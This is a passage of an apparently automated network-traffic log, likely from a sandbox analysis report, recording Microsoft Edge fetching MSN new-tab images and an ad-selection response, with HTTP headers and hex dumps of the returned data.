2024-11-18 12:29:33 UTC	634	OUT	GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:33 UTC	521	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 29 Oct 2024 13:09:36 GMT X-Datacenter: eastap X-ActivityId: 71bf84f9-d0c2-4597-9893-d34df3f39f2d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12sf7A X-Source-Length: 114962 Content-Length: 114962 Cache-Control: public, max-age=261694 Expires: Thu, 21 Nov 2024 13:11:07 GMT Date: Mon, 18 Nov 2024 12:29:33 GMT Connection: close
2024-11-18 12:29:33 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-18 12:29:33 UTC	16384	IN	Data Raw: 85 da a2 66 d0 8a a6 2d 98 a6 2f 2d 29 89 be 4e 39 24 9e 3c ca c9 6c 03 84 93 dc b9 27 52 75 44 2e 13 33 10 2e 9d 07 af 45 54 38 c5 fd ca e3 2b a2 e5 30 72 b2 4e 32 06 5a 5d 46 06 20 9e a8 4b 44 d3 0b 39 00 9c 91 42 d3 cd 94 78 b4 e5 29 18 34 d8 bf 6e 2a 3c ee 90 16 0a 2e a6 49 37 12 50 5a f0 e3 74 81 04 cd a6 ca 63 78 c9 f2 f4 aa c1 b8 6e 6f c1 04 64 99 c6 4c 77 fa 85 91 06 66 51 24 60 8c c5 af 19 81 9f 72 98 67 ec 48 18 55 cd a0 8b e8 79 1f 4a bb 3d a0 70 81 c6 75 31 fb ca 63 81 85 00 09 c9 5d 6b 0e 86 fe 2a 40 08 9b 22 66 4f 72 b0 01 1c e7 8a 08 04 6c 6d e7 dd e0 af b1 92 09 fa 41 f0 ee 40 b1 c2 d5 dc 61 a4 99 e5 de a6 ac 00 25 b2 1d 88 0c 18 6f 8a 22 79 8e 00 1b a6 01 4a b3 58 d9 91 7d 33 45 27 64 23 d1 cd 05 c4 d3 0b 63 3c a1 49 0d 73 b0 91 11 88 88 Data Ascii: f-/-)N9$<l'RuD.3.ET8+0rN2Z]F KD9Bx)4n<.I7PZtcxnodLwfQ$`rgHUyJ=pu1c]k@"fOrlmA@a%o"yJX}3E'd#c<Is
2024-11-18 12:29:33 UTC	1275	IN	Data Raw: ca b9 d5 e8 5a 7c d1 4d ed 0a 3b a6 09 1a eb a0 e4 93 89 78 90 60 f0 c5 88 0e 90 a5 56 6a 51 92 95 42 e6 90 73 d2 f9 4c cf ad d5 37 ba 41 92 48 cb 90 27 8f 44 e9 6b 10 72 89 95 a6 d5 0e 7e fc 37 3d 6d 1d 17 01 c6 09 37 ce 07 ee b3 9a 7a 3b 62 32 54 4b 9a ef 4d 86 1d ba 6c 75 13 9c 6b af 92 e6 31 c1 d2 0c 93 63 33 6b c4 dc e4 bc f9 87 4c c3 ae 26 ec ee b6 49 6c 88 06 77 b5 b7 13 75 83 50 82 44 18 eb 3e 07 db 79 58 44 5f e4 d3 0c 59 a2 2f 2e 36 c7 b2 d4 a1 5f 11 20 b0 b1 d7 16 f2 3e c2 57 4f b4 69 19 4c 67 98 10 23 28 0b d3 fa 8f a8 a7 7b 66 29 b4 c4 c4 c6 5d 9c de 76 1b 3c 9f a6 fa 6a b6 37 a6 ab c5 51 31 31 97 9e 8f 56 ed ba 8d 2a e0 87 b1 ae 74 49 91 7f 11 07 c5 5d 63 59 04 e4 64 4c 9e 47 5c 93 a3 77 73 6f 3a 2a 98 8e df db 46 13 76 7b 9b 5b 7b 99 57 44 Data Ascii: Z\|M;x`VjQBsL7AH'Dkr~7=m7z;b2TKMluk1c3kL&IlwuPD>yXD_Y/.6_ >WOiLg#({f)]v<j7Q11VtI]cYdLG\wso:Fv{[{WD
2024-11-18 12:29:33 UTC	16384	IN	Data Raw: 78 cb b7 35 dd 82 1c 23 29 c2 73 e4 42 f4 1f a3 01 9f f3 00 e8 9c 25 b7 81 d0 c6 57 57 b7 46 17 17 7d b9 cb c9 e7 c6 4f 6a 7e 9f 6b fa bc de 79 b5 6a 16 d2 70 73 41 76 36 43 80 c9 96 90 40 99 8b 66 ba 6f d9 a6 06 36 4c 9e cc 16 3b 78 ea 1b 06 c7 42 bd 5b 6b e9 e2 e3 a2 ba e7 37 8f 7b c4 3a f7 28 a2 9c a2 ea 58 2a 16 e2 c3 48 88 06 77 b5 31 26 f7 b8 5d 1a 75 b1 61 a2 f7 34 c0 c8 b6 1b 8b 16 2c a4 92 78 18 85 d9 cb 36 33 7b 65 ab 96 c7 95 f9 39 58 1a c6 b8 96 50 24 5f 0e 07 3a 47 59 85 dd ec e8 b6 71 35 87 98 2e 6e 9d 4f a1 6f e6 e5 c5 b9 da 9f 25 fe 2e 19 71 7d b1 06 e3 73 77 48 c3 70 2c 2f 7e e5 ba b5 a8 3a ab 9b 4d a4 01 68 2e b9 e7 70 7e 2b a6 c7 4c 4d b3 41 4c c2 6a 8c ec 89 6c 83 95 da 65 b9 09 47 ea 19 d8 ba 99 a4 d7 17 38 1c 52 0c 5a 22 e3 da 92 ed Data Ascii: x5#)sB%WWF}Oj~kyjpsAv6C@fo6L;xB[k7{:(X*Hw1&]ua4,x63{e9XP$_:GYq5.nOo%.q}swHp,/~:Mh.p~+LMALjleG8RZ"
2024-11-18 12:29:33 UTC	16384	IN	Data Raw: 50 56 79 c7 fc 76 3f 76 10 e9 04 5b ee 2b b3 ba e6 de 9a e2 78 c4 39 3b c6 35 53 31 cd c8 1b 38 12 5a 5e ec 24 8c 25 b8 26 38 19 32 17 66 a8 a7 8d 80 54 37 9b b4 36 d8 44 df 3c d7 36 0e dd 5d 73 69 98 ce 1d 18 9c b1 7b 4e 4f 1d 50 b8 61 73 88 68 78 c4 2f 98 98 f8 af 45 b4 ff 00 08 66 4f b3 a6 5a dc a3 96 57 e0 bc fc a2 6c ec ae 6d 6b 5b c1 db 69 73 d3 9d f5 84 bb 0b c8 a3 9f cc ef 8a e7 53 ac 69 1c 00 18 18 9c 72 32 0e 5c c4 67 2a 36 e2 f1 3d ac e9 dc 8a 66 5a 55 3a 76 7e e2 69 99 85 05 a5 ea 07 ce 82 42 60 02 4d 00 18 42 00 01 09 80 0d 08 00 04 d2 33 01 09 00 66 92 01 03 42 46 0c 21 23 20 10 91 98 34 92 00 1a 48 00 1a 48 06 4d 2c a4 66 46 92 01 91 a1 00 03 51 39 e1 b6 cc a4 53 36 36 b4 51 8b b0 aa 18 55 cd 4b c9 ee d6 fd 16 5b 93 68 ed 67 33 9e 6d 36 69 Data Ascii: PVyv?v[+x9;5S18Z^$%&82fT76D<6]si{NOPashx/EfOZWlmk[isSir2\g*6=fZU:v~iB`MB3fBF!# 4HHM,fFQ9S66QUK[hg3m6i
2024-11-18 12:29:33 UTC	7952	IN	Data Raw: 99 de f5 63 6b 11 56 b6 1c 50 da 8e 1c be eb 67 a6 4b 48 9c a3 b1 e7 ce f4 44 cc 5f 4f d9 cb 86 73 7a 34 6c cc d3 4c db 5b 4f 9b 86 03 9a 29 b4 8c 98 5a 6f ae 8b 4e 04 d4 63 65 db d1 7d 78 9d 38 2e dc 50 f3 27 7b f1 99 bb 1a 28 98 88 7a 94 ed 7e 51 0f 1f 56 db 70 ff 00 f2 b3 d8 ba 95 ff 00 1f 5e 9e d1 da 4b 63 10 70 92 6f e5 aa f5 ef 7a 7d 1e 5d 3f 57 44 d3 69 89 bd bd b8 bc 8b 5a b8 ed 87 a5 57 d2 d5 8f 14 4c 5a eb cf 2f c5 46 1b 3f cd 4e 71 5a 05 ee 32 ba ee 56 d8 aa 06 d2 30 e7 61 2c aa ec 22 cd 05 da 98 cb aa ed a6 a8 89 9c f8 3c 8a 37 a6 6a d3 2f 97 d9 cd bb 4d 53 46 9c 7f 67 a5 b9 4d 38 27 3c f3 8b 65 9c c4 67 6e aa db 67 e3 a8 ed 8f 6b aa 76 80 b4 16 8c 24 0b 1f f6 95 5f f2 9f 92 ab b1 55 63 58 da 6e 0e 61 76 f0 33 20 c6 84 2f 66 2b 98 65 44 62 8e Data Ascii: ckVPgKHD_Osz4lL[O)ZoNce}x8.P'{(z~QVp^Kcpoz}]?WDiZWLZ/F?NqZ2V0a,"<7j/MSFgM8'<egngkv$_UcXnav3 /f+eDb
2024-11-18 12:29:34 UTC	16384	IN	Data Raw: 33 39 b8 58 6b 99 8a 75 38 7d be a6 cb a9 b4 d4 0d a0 d0 c8 00 cd c3 89 cb 47 5e e0 9e 37 55 74 ca 22 e5 33 2e 40 d9 6b 97 0e d1 ae 6f 00 73 3d c2 55 16 ed 55 41 8c 6e 23 84 9f 7a bb a5 36 93 bb a4 ea 55 40 24 b1 d8 8d a3 80 d2 14 4c da ea c0 69 27 94 ba c3 ce 02 24 8c ee a6 dd 96 b6 6e 63 b8 1b 1f 8e 41 5c a7 55 c4 61 c5 79 bc 62 93 c3 5c ba a1 49 b2 b8 70 6e 9e c8 e6 dd c0 5f 2b 80 07 43 af 35 97 b0 01 8d ef c4 ec 80 cc 47 8d d1 06 8b 05 a6 8b 61 0e 64 1b b8 3b 29 bc 09 12 4b 6c 0e 97 55 08 0e 69 2d 37 91 ca c7 92 19 dc 58 dd ea 1b 39 22 ce 61 13 25 d3 00 18 81 ba eb c4 c0 c8 ae 76 cc e7 d3 99 0e 01 ce ee 83 20 83 f1 e6 9c c5 c1 40 5c da 36 0d a5 d4 de e6 35 93 4a 0b 9a c2 71 83 f5 b4 44 75 32 6c 17 42 96 d8 29 d5 63 e6 03 9b 84 c4 e6 04 72 d2 ca 62 95 Data Ascii: 39Xku8}G^7Ut"3.@kos=UUAn#z6U@$Li'$ncA\Uayb\Ipn_+C5Gad;)KlUi-7X9"a%v @\65JqDu2lB)crb
2024-11-18 12:29:34 UTC	16384	IN	Data Raw: 99 5a 41 18 66 53 40 00 a5 08 06 45 74 d0 0c 89 08 06 09 34 00 19 4d 00 02 42 08 c0 42 00 04 84 00 64 84 00 02 10 0c 89 34 ac 15 72 24 5d 2b 1a ae 92 4d 2b 05 5c 89 09 03 19 04 5d 05 99 9e 41 24 8e f2 71 25 68 08 41 5e 4c 5a 02 68 06 02 69 17 aa a0 e2 39 1a d0 05 08 99 e6 a8 5c 44 f4 48 13 01 4c a6 65 ac 2e 21 b0 8e f4 a5 12 a8 5c 43 48 84 e5 9c c9 aa cd 26 13 96 61 49 47 54 81 09 4d 93 2a 83 84 81 c4 6b 92 cd b5 f0 ba ce aa 62 44 b5 a6 a9 8e 25 16 eb 0e 95 2a 84 98 97 47 af 82 cd 1f e8 90 46 51 3e 2b 83 72 88 b1 ee f6 bd 2d aa e6 e5 b3 9f 07 6e 9b 6a 3e e4 34 5b 22 ef fb 6e 7d aa 16 64 08 02 da 48 69 f0 8f 89 0b cb aa 68 8d 2f af 4f ba aa f6 ca ef 5a 8c 73 ad b4 d2 ff 00 64 53 ed c1 d6 8d a1 b1 21 90 23 ea f3 b1 52 53 63 dd 20 b4 81 c9 cd 3e be 6b 8f f0 Data Ascii: ZAfS@Et4MBBd4r$]+M+\]A$q%hA^LZhi9\DHLe.!\CH&aIGTMkbD%GFQ>+r-nj>4["n}dHih/OZsdS!#RSc >k
2024-11-18 12:29:34 UTC	7952	IN	Data Raw: f3 0a 91 71 e3 e5 e8 5c 78 b9 3b 62 98 e9 e2 ed b7 37 14 d5 3d 7c 3f 45 c8 e6 3c 15 27 17 c5 81 3e 0b 92 ee c8 8a 6f c1 d9 67 0c d5 5d b8 f8 2d c2 e7 76 ae 1a 11 e1 ef 5c b7 77 c5 14 f5 87 65 9e 77 79 57 67 93 a3 0b 9d 8a ae 90 3d 7a ae 0b bb f0 ed f1 7a 13 1e d9 bc e8 ab 73 82 fe 18 d7 e2 b9 c5 d5 9b f3 37 be 3d e1 71 62 bf 0f 93 bb 0e dc fb b3 e9 7f b3 bb 05 b8 fc de 7e 2d c8 f7 a9 f5 b7 dd d3 dd 1c 7c 4f bd 73 05 47 bb 27 b3 a0 3e 92 b8 33 9e 9e 50 ef c1 4c 7b b5 76 cc 3d 1f c6 3a f9 cf dd e7 63 aa 7d fa 7b 22 7f 57 62 dc 5d fe 6f 4a e4 9c 64 66 e1 e1 ef 5e 66 7c bc bf 47 a7 f8 c7 08 f1 fb 3d 4c b9 f9 fe af 2f f2 98 d6 7c 3e ee 83 9c 3e a1 e3 3e d5 cb ec 89 f9 8a e1 a6 99 e9 3e 4f 4b bc 88 f7 61 e8 55 54 47 18 f3 79 5d dc cf bc e8 17 73 5c c3 b3 8c cf Data Ascii: q\x;b7=\|?E<'>og]-v\wewyWg=zzs7=qb~-\|OsG'>3PL{v=:c}{"Wb]oJdf^f\|G=L/\|>>>>OKaUTGy]s\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	49812	23.47.50.145	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:33 UTC	634	OUT	GET /tenant/amp/entityid/BB1msOOW.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:33 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 30 Oct 2024 16:54:53 GMT X-Datacenter: eastus X-ActivityId: cc5a01d3-27c8-480b-9145-4d490bdfb97f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msOOW X-Source-Length: 76188 Content-Length: 76188 Cache-Control: public, max-age=361439 Expires: Fri, 22 Nov 2024 16:53:32 GMT Date: Mon, 18 Nov 2024 12:29:33 GMT Connection: close
2024-11-18 12:29:33 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-18 12:29:33 UTC	16384	IN	Data Raw: b3 89 ae 12 0f c8 8e 44 73 07 25 6c 2f 89 78 37 88 0d 0e a0 75 2e 5c e8 bf 65 c0 91 84 4c 45 c8 e1 c2 b0 be d6 c3 3c 57 8f 3c 74 cb eb f1 72 7e 48 f5 8e a9 d3 a5 09 d7 37 60 b5 09 91 92 ad 5a 84 18 b5 0b 51 18 b5 6a 11 2c 21 6a d4 46 21 6a d5 51 88 5a b5 11 8b 50 b5 10 21 6a 11 02 10 84 40 85 ab 10 08 5a b5 06 21 6a 10 62 d4 2d 44 62 13 2c 41 8b 56 a1 06 21 6a 10 62 d4 2d 44 62 16 ad 40 a8 4c 84 46 2d 42 d4 18 85 ab 51 18 85 a8 50 62 16 a1 50 21 0b 51 18 85 a8 41 88 5a 84 18 85 a8 41 88 5a 84 18 84 2d 41 88 5a 84 18 85 a8 41 88 5a b1 14 21 08 40 21 08 41 88 5a 84 18 85 a8 50 2a 13 21 02 a1 6a 10 62 10 84 56 21 6a 10 62 16 a1 02 a1 32 54 50 b1 6a 10 62 c4 c9 51 42 c5 a8 45 2a 13 25 40 2c 5a 85 14 a8 5a b1 14 a8 5a b1 15 8b 13 25 45 62 c5 ab 14 6c a8 5a b1 Data Ascii: Ds%l/x7u.\eLE<W<tr~H7`ZQj,!jF!jQZP!j@Z!jb-Db,AV!jb-Db@LF-BQPbP!QAZAZ-AZAZ!@!AZP!jbV!jb2TPjbQBE%@,ZZZ%EblZ
2024-11-18 12:29:33 UTC	3219	IN	Data Raw: 2b e6 37 b5 45 f7 b1 38 bc 17 49 04 bc be 01 14 18 48 0e c4 0f 32 66 14 a3 54 cd 46 a2 e3 ee 5c c3 6f 50 5c e7 d1 c4 80 41 6b 5a e0 28 1a c2 05 7c a5 70 58 f6 b8 92 58 0b a0 00 72 11 bc 81 15 e5 c9 7a 63 1a 85 8d aa bb bb 36 b5 21 81 e1 83 0b 9e 63 37 d6 84 4f b4 72 e3 22 aa fd 96 d8 73 8b bd dd ed 8c 24 b9 8e 0c 66 c3 89 38 41 12 e9 82 26 5d 45 cc b5 70 62 2f 27 aa 45 a3 b2 d0 04 02 22 30 bb e9 13 26 33 2a dd bb 8e 7d b0 e0 48 e8 b2 05 23 65 c2 30 80 4c 00 41 ab a4 98 13 2a 3d 10 f4 56 c8 f7 9d 3f 55 c5 ae c0 00 c5 42 1d 8a 20 98 87 7e f0 56 6d 6a 1c 3c 41 ac b7 18 1a cc 2e 14 15 26 04 72 dd dc b8 77 61 ad b3 2e 0e 0c 6d b3 49 13 83 11 20 4e 52 e8 95 27 53 a0 f6 bd cd cc 17 e2 8d d3 15 e4 09 73 b9 67 0b 0e d3 e3 a7 47 b7 b9 75 c0 56 30 93 47 67 c5 71 75 Data Ascii: +7E8IH2fTF\oP\AkZ(\|pXXrzc6!c7Or"s$f8A&]Epb/'E"0&3}H#e0LA=V?UB ~Vmj<A.&rwa.mI NR'SsgGuV0Ggqu
2024-11-18 12:29:33 UTC	16384	IN	Data Raw: d1 8a 0e 03 3e 49 6d e9 2e 62 c6 5d 6d ad 20 43 b1 62 31 19 e1 86 8f 5c c2 8a e6 b0 9b 6c be e7 b7 15 4e 6e 22 4e 41 d2 59 b2 6b 94 9e 6b c0 6b f1 c8 0e 0e 11 94 e6 6a 6b 41 1d ab ea d7 9f a5 0d 38 a5 8d 24 c3 b0 9d a0 68 62 68 41 95 f3 df 16 b7 80 30 b1 c2 e5 a0 5e d0 e1 93 49 32 1b 90 a4 65 13 ce a8 e7 94 6c e4 e9 6e f4 ee b0 b8 b9 90 26 5b 18 8f 61 a1 5e 85 de 25 7a f3 5f 68 87 dd 61 63 85 41 71 1f bd 2d 12 22 99 13 50 bc f3 30 32 e4 86 3a eb 3a 6d 27 6a 08 df 51 02 87 2f 5a 8f ae 2d b8 ec 92 d7 08 22 48 ae fa 11 3d b4 55 ce e9 d7 d1 eb 06 99 97 08 25 d8 88 c3 b2 62 5b 91 75 44 56 a0 09 3b d7 b2 66 a6 e5 cb 16 ae 3a 0b dc d0 e7 0a 6c e2 3f bc 77 51 79 bd 05 f7 fb b3 da f1 64 80 65 8c 2d 61 da cf 11 06 91 26 8a c7 bd 39 c5 b8 89 88 c4 5c ea fb 23 69 c4 Data Ascii: >Im.b]m Cb1\lNn"NAYkkkjkA8$hbhA0^I2eln&[a^%z_hacAq-"P02::m'jQ/Z-"H=U%b[uDV;f:l?wQyde-a&9\#i
2024-11-18 12:29:33 UTC	16384	IN	Data Raw: 9b 4e ef e2 5c fd ab df ac b1 fa 4b 66 8c 63 5f fb d8 b5 13 eb 2b a8 75 9a 06 f3 d3 76 1b a7 e6 a2 3e 23 a1 e6 e6 53 97 52 e0 1d c1 cb 7b fa b8 d6 3e 61 c2 76 8e e8 f6 74 c0 f1 2e 3f 84 ab 3e db 9b 42 c1 d8 18 4f c4 af 52 3c 47 c3 62 71 b2 77 63 71 fe f3 82 b0 cf 12 d2 1f e8 f0 f9 be f3 1b f8 6e f8 25 cf 86 74 e3 fe d0 f1 4d 63 5b 5e 91 78 dc 5a 47 f7 42 9a 6d 9b 6e 07 4a 64 c6 13 39 56 b9 c9 5e df af 6d d5 07 4c 7f fe 63 07 ab 0a a9 7b ab 72 8c 76 8f c9 d7 ed bf e4 d5 6c 8c 6b a4 c7 db cf c5 e3 7a 36 1d fc 3b c3 80 3f fb 65 2b 6c 5b 6b a9 61 ce fc eb 84 7f f9 85 ea bd d6 f0 ac e9 07 e5 36 3b 95 9b 76 c8 cf dd 49 fd d7 37 e7 45 ab 73 d3 2f 3f d3 14 ff 00 75 2d e3 d6 7f e0 c2 80 3b a6 60 b6 04 fd 4d ba e0 3b 71 85 ed 83 1b f5 74 19 fc c1 f9 84 ed 6d a9 a3 Data Ascii: N\Kfc_+uv>#SR{>avt.?>BOR<Gbqwcqn%tMc[^xZGBmnJd9V^mLc{rvlkz6;?e+l[ka6;vI7Es/?u-;`M;qtm
2024-11-18 12:29:34 UTC	7952	IN	Data Raw: 25 7d ab 43 a3 66 96 d8 00 54 2e 17 87 f8 48 d3 6a 7a a7 90 a7 68 85 ec d6 79 73 bd a3 a3 5c 1c 5a 62 f2 8d cc b5 2a 17 9d ec 32 d4 88 54 32 12 a1 03 21 2a d4 0c 84 a8 44 32 12 a1 03 21 2a 10 32 c5 88 45 0b 16 a5 40 2c 5a 84 68 2c 80 b5 08 19 64 4a 10 8c 99 6a 45 a8 19 09 56 22 1d 09 10 81 d0 91 08 1d 09 10 81 d0 91 08 1d 09 10 81 d0 91 08 1d 09 50 81 d0 91 6a 06 42 54 20 65 a9 10 81 d0 95 08 87 94 24 5a 88 65 a9 10 81 d0 95 08 19 0b 11 28 19 09 56 a2 35 0b 10 88 64 25 5a 85 35 0b 10 89 46 42 55 a8 53 56 a5 42 21 90 b1 08 35 0b 10 83 50 b1 08 35 0b 16 a0 10 84 20 16 ac 42 32 64 25 42 06 42 54 20 65 8b 16 a0 c4 21 08 04 21 0a 28 42 10 8a 10 84 20 c5 88 42 80 42 10 94 a1 2a d5 89 4d 05 8b 52 a5 2b 16 2d 58 a5 29 52 29 12 25 34 8d 7c eb fc c9 e1 ce b8 5b a9 Data Ascii: %}CfT.Hjzhys\Zb2T2!D2!2E@,Zh,dJjEV"PjBT e$Ze(V5d%Z5FBUSVB!5P5 B2d%BBT e!!(B BBMR+-X)R)%4\|[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.8	49811	20.96.153.111	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:33 UTC	1000	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=12002C73CB2660100B753948CA036107&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=bc22edc35e614a30bcff4fbb88288d37 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=12002C73CB2660100B753948CA036107; _EDGE_S=F=1&SID=1A5323B1D07C6E0936DB368AD1AF6FD4; _EDGE_V=1
2024-11-18 12:29:33 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2659 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132539-T700343875-C128000000002115789+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002115789+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 18 Nov 2024 12:29:32 GMT Connection: close
2024-11-18 12:29:33 UTC	2659	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 41 6e 64 65 61 6e 20 66 6c 61 6d 69 6e 67 6f 73 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 41 6e 64 65 61 6e 2b 66 6c 61 6d 69 6e 67 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Andean flamingos\",\"cta\":\"https:\/\/www.bing.com\/search?q=Andean+flaming

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.8	49821	20.125.209.212	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
